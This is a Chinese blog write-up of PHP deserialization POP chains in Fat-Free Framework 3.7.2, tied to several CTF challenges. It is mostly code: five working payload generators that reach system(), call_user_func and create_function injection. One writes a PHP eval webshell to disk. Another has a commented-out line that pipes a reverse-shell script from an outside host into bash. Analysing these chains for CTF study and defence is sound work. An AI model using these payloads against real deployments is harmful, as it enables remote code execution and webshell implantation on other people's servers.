fatfree3.7.2反序列化探析

fatfree反序列化探析

一个php框架,全称fat free framework,版本3.7.2,源码是这个https://github.com/bcosca/fatfree

这里主要探讨几种fatfree常见的反序列化利用poc,wmctf2020,国赛2020都有出现

demo,直接把index.php修改为如下

<?php

// Kickstart the framework
$f3=require('lib/base.php');

if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

$f3->route('GET /',
    function($f3) {
        echo "easyfatfree unserialize me";
    }
);

unserialize($_GET['payload']);

$f3->run();

poc1

调用栈:

\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()

然后func就变了可控(可控)

<?php
namespace DB\SQL {
    class Mapper
    {
        protected $props;
        public function __construct($props)
        {
            $this->props = $props;
        }
    }
}

namespace CLI {
    class Agent
    {
        protected $server;
        protected $socket;
        public function __construct($server, $socket)
        {
            $this->server = $server;
            $this->socket= $socket;
        }
    }

    class WS
    {
        protected $events = [];
        public function __construct($events)
        {
            $this->events = $events;
        }
    }
}

namespace {
    class Log
    {
        public $events = [];
        public function __construct($events)
        {
            $this->events = $events;
        }
    }

    $a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system
    $b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化对象,且不含有read()方法。触发了Mapper的__call()方法,返回了system替换read。同时dir为socket赋值,作为system的参数
    $c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch,其中$b为fetch的所属类
    $d = new CLI\Agent($c, '');//触发__destruct()的点,这里的类是随意的。
    $e = array(new \CLI\WS(""),$d); //为了加载ws.php
    echo urlencode(serialize($e))."\n";
}

这一条参考https://xz.aliyun.com/t/9220就好,文章讲的非常好,大伙可以举一反三的学

image-20220807152137155

调用栈:

CLI\Agent::__destruct()

分析:

由于要构造Pop链子,首先找destruct或者construct

image-20220807132956834

\CLI\Agent::__destruct()

    function __destruct() {
        if (isset($this->server->events['disconnect']) &&
            is_callable($func=$this->server->events['disconnect']))
            $func($this);
    }

可以尝试将$func控制为任意函数,所以联想到控制$this->server->events['disconnect']

is_callable()判断$fun是否为可执行的函数,其值可以为一个数组。

image-20220807141543885

最终poc在我们调试的时候也可以看到他是一个数组

image-20220807145120517

为何回去想要使用数组?

咱先看看直接这个函数可不可以利用:

那么如何通过这个函数进行RCE呢?这里寻找函数就变得很重要。

仔细观察,函数名$func可控(由于没有箭头最终还是要在Agent作用域内执行),但是参数$this不可控,只能是$this,观察下Agent,Agent没有__toString方法也表明了这里没办法因为$this作为参数和触发__toString从而实现任意命令执行

因为这里无法控制这个函数的参数。

那这样我们尝试使用数组

image-20220807145432214

所以$this->server->events['disconnect']如果是数组,那么$func($this)就会变成 数组(参数)的形式,从而调用任意函数(Agent域内),在这个Agent下找不到什么危险函数

因此我们只能在$this->server->events['disconnect'] 这个时候想办法触发__call方法

搜寻类似这种格式。

$A->B($this->C)

正则\$.*->.*\(\$this->.*\)

其中$A是我们可控的,为某一个类。B是用来触发__call()方法的$A类中的那个并不存在的方法。__call()方法的返回值即为危险方法,比如system()等。C也是我们可控的一个变量。在这道题中作为system()的参数。

但是如果真这样正则匹配那又太多了,直接全局搜索__call

一下子少很多

image-20220807144106891

大多都含有敏感函数call_user_func_array,再寻找哪个有可控参数,最后找到DB\SQL\Mapper

    function __call($func,$args) {
        return call_user_func_array(
            (array_key_exists($func,$this->props)?
                $this->props[$func]:
                $this->$func),$args
        );
    }

$func,$args,$this->props完全可控

想办法让它return危险函数

但是想起一个限制:Agent析构函数的$func($this)似乎已经限制了作用域的选择,所以即使通过传入数组绕过is_callable的判断还是无法成功触发别的作用域中的__call,最终还是要在Agent中寻找触发点,也就是符合$class->$func($args)的格式,然后找到了fetch方法:

CLI\Agent::fench

function fetch() {
    // Unmask payload
    $server=$this->server;
    if (is_bool($buf=$server->read($this->socket)))
        return FALSE;
    ...
}

把$this->server变成Mapper,由于Mapper不存在read方法,控制server和socket就可以触发__call实现任意命令执行

也就是\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()

之后__call返回的是我们恶意构造的system(dir)

image-20220807152917252

poc2

注意一些技巧:

只给了一个反序列化。应该考察的是反序列化,那么就需要寻找入口函数__destruct()或者__wakeup(),如果遇到被删掉的,说明主办方想防止走偏。

而在蓝帽杯2022和国赛2020中,fetch方法被删除,所以要重新找链子

咱们举一反三

这里是Wmctf官解的链子

官方选择的__call函数触发点与上面不同,是从DB\Mongo\Mapper的insert函数触发,不过最终还是要通过DB\SQL\Mapper__call方法实现任意命令执行。

poc

<?php 
namespace CLI{ 
    class Agent 
    { 
        protected $server; 
        public function __construct($server) 
        { 
            $this->server=$server; 
        } 
    } 

    class WS { } 
} 
namespace DB{ 
    abstract class Cursor  implements \IteratorAggregate {} 
    class Mongo { 
        public $events; 
        public function __construct($events) 
        { 
            $this->events=$events; 
        } 
    } 
} 

namespace DB\Mongo{ 
    class Mapper extends \DB\Cursor { 
        protected $legacy=0; 
        protected $collection; 
        protected $document; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){}     
        public function __construct($collection,$document){ 
            $this->collection=$collection; 
            $this->document=$document; 
        } 
    } 
} 
namespace DB\SQL{ 
    class Mapper extends \DB\Cursor{ 
        protected $props=["insertone"=>"system"]; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){} 
    } 
} 

namespace{ 
    $SQLMapper=new DB\SQL\Mapper(); 
    //$MongoMapper=new DB\Mongo\Mapper($SQLMapper,"curl https://shell.now.sh/39.106.207.66:2333 |bash"); 
    $MongoMapper=new DB\Mongo\Mapper($SQLMapper,"calc"); 
    $DBMongo=new DB\Mongo(array('disconnect'=>array($MongoMapper,"insert"))); 
    $Agent=new CLI\Agent($DBMongo); 
    $WS=new CLI\WS(); 
    echo urlencode(serialize(array($WS,$Agent)));
} 

直接复现官解本地会报错,之后我有时间再看看怎么回事

poc3

https://www.4hou.com/posts/qDk2

同样是fetch方法被删除,所以要重新找链子

<?php namespace DB\SQL {
 class Mapper { 
    protected $props; 
    function __construct($props) { 
        $this->props = $props; 
    } 
 } 
} 
namespace CLI {
 class Agent{ 
    protected $server; 
    protected $socket; 
    function __construct($server,$socket) { 
        $this->server = $server; 
        $this->socket= $socket; 
    } 
 }
 class WS{
  protected $events = [];
  function __construct($events) 
  { 
    $this->events = $events; 
  } 
} 
} namespace 
{ 
    class Image{ 
        public $events = []; 
        function __construct($events) { 
            $this->events = $events; 
        } 
    } 
    // $a = new DB\SQL\Mapper(array("write"=>"create_function")); 
    // $b= new CLI\Agent($a,'){}readfile("/tmp/ffff1l1l1a449g");//'); 
    $a = new DB\SQL\Mapper(array("write"=>"call_user_func")); 
    $b= new CLI\Agent($a,'phpinfo'); 
    $c = new Image(array("disconnect"=>array($b,'send'))); 
    $d = new CLI\Agent($c,''); 
    $e = new CLI\WS($d); 
    echo urlencode(serialize($e))."\n"; 
} ?>

之前咱poc1\CLI\Agent::__destruct()->\CLI\Agen::fetch()->DB\SQL\Mapper::__call()

之中使用的是fetch方法,由于fetch中有个mapper中不纯在的read函数,所以触发了call,我们找了一下,send方法和触发反序列化的函数的那行代码极其相似,

image-20220807154910449

如法炮制一下应该也会触发DB\SQL\Mapper::__call()

说明同样的开发习惯会对工程文件有深远的影响

我们拿poc调试一下,发现的确如此

\CLI\Agent::__destruct()

image-20220807155523608

这次要去send

\CLI\Agen::send()

image-20220807155655702

到这里就又一样了

image-20220807155506271

之前采取的是system执行系统命令,如果想要执行任意命令的话,由于这里的参数只有一个可控,我们会采取create_function的做法

我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:

){}phpinfo();//

构造exp,并发现可以成功执行phpinfo:

就像这样

    $a = new DB\SQL\Mapper(array("write"=>"create_function")); 
    $b= new CLI\Agent($a,'){}phpinfo();//'); 

poc4

<?php 
namespace DB{ 
    abstract class Cursor  implements \IteratorAggregate {} 
} 

namespace DB\SQL{ 
    class Mapper extends \DB\Cursor{ 
        protected 
             $props=["quotekey"=>"call_user_func"], 
             $adhoc=["phpinfo"=>["expr"=>""]],
            //$props=["quotekey"=>"file_put_contents"], 
            //$adhoc=["calc"=>["expr"=>""]],
            $db; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){} 
        function __construct($val){ 
            $this->db = $val; 
        } 
    } 
} 
namespace CLI{ 
    class Agent { 
        protected 
            $server=""; 
        public $events; 
        public function __construct(){ 
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; 
            $this->server=&$this; 

        } 
    }; 
    class WS{} 
} 
namespace { 
    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); 
}

类似,这次使用的是find方法

poc5

任意文件写入

<?php
namespace DB{
    class Jig {
        public $format;
        public $data;
        public $lazy;
        public $dir;
    }
}
namespace {
    $jig = new \DB\Jig();
    $jig->format = 0;
    $jig->data = array('ui/shell2.php'=>['aaa'=>'<?php eval($_POST[thai]);phpinfo();?>']);
    $jig->lazy = TRUE;
    $jig->dir = './';
    echo urlencode(serialize($jig));
}

想不到吧,这次蓝帽是用这个

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇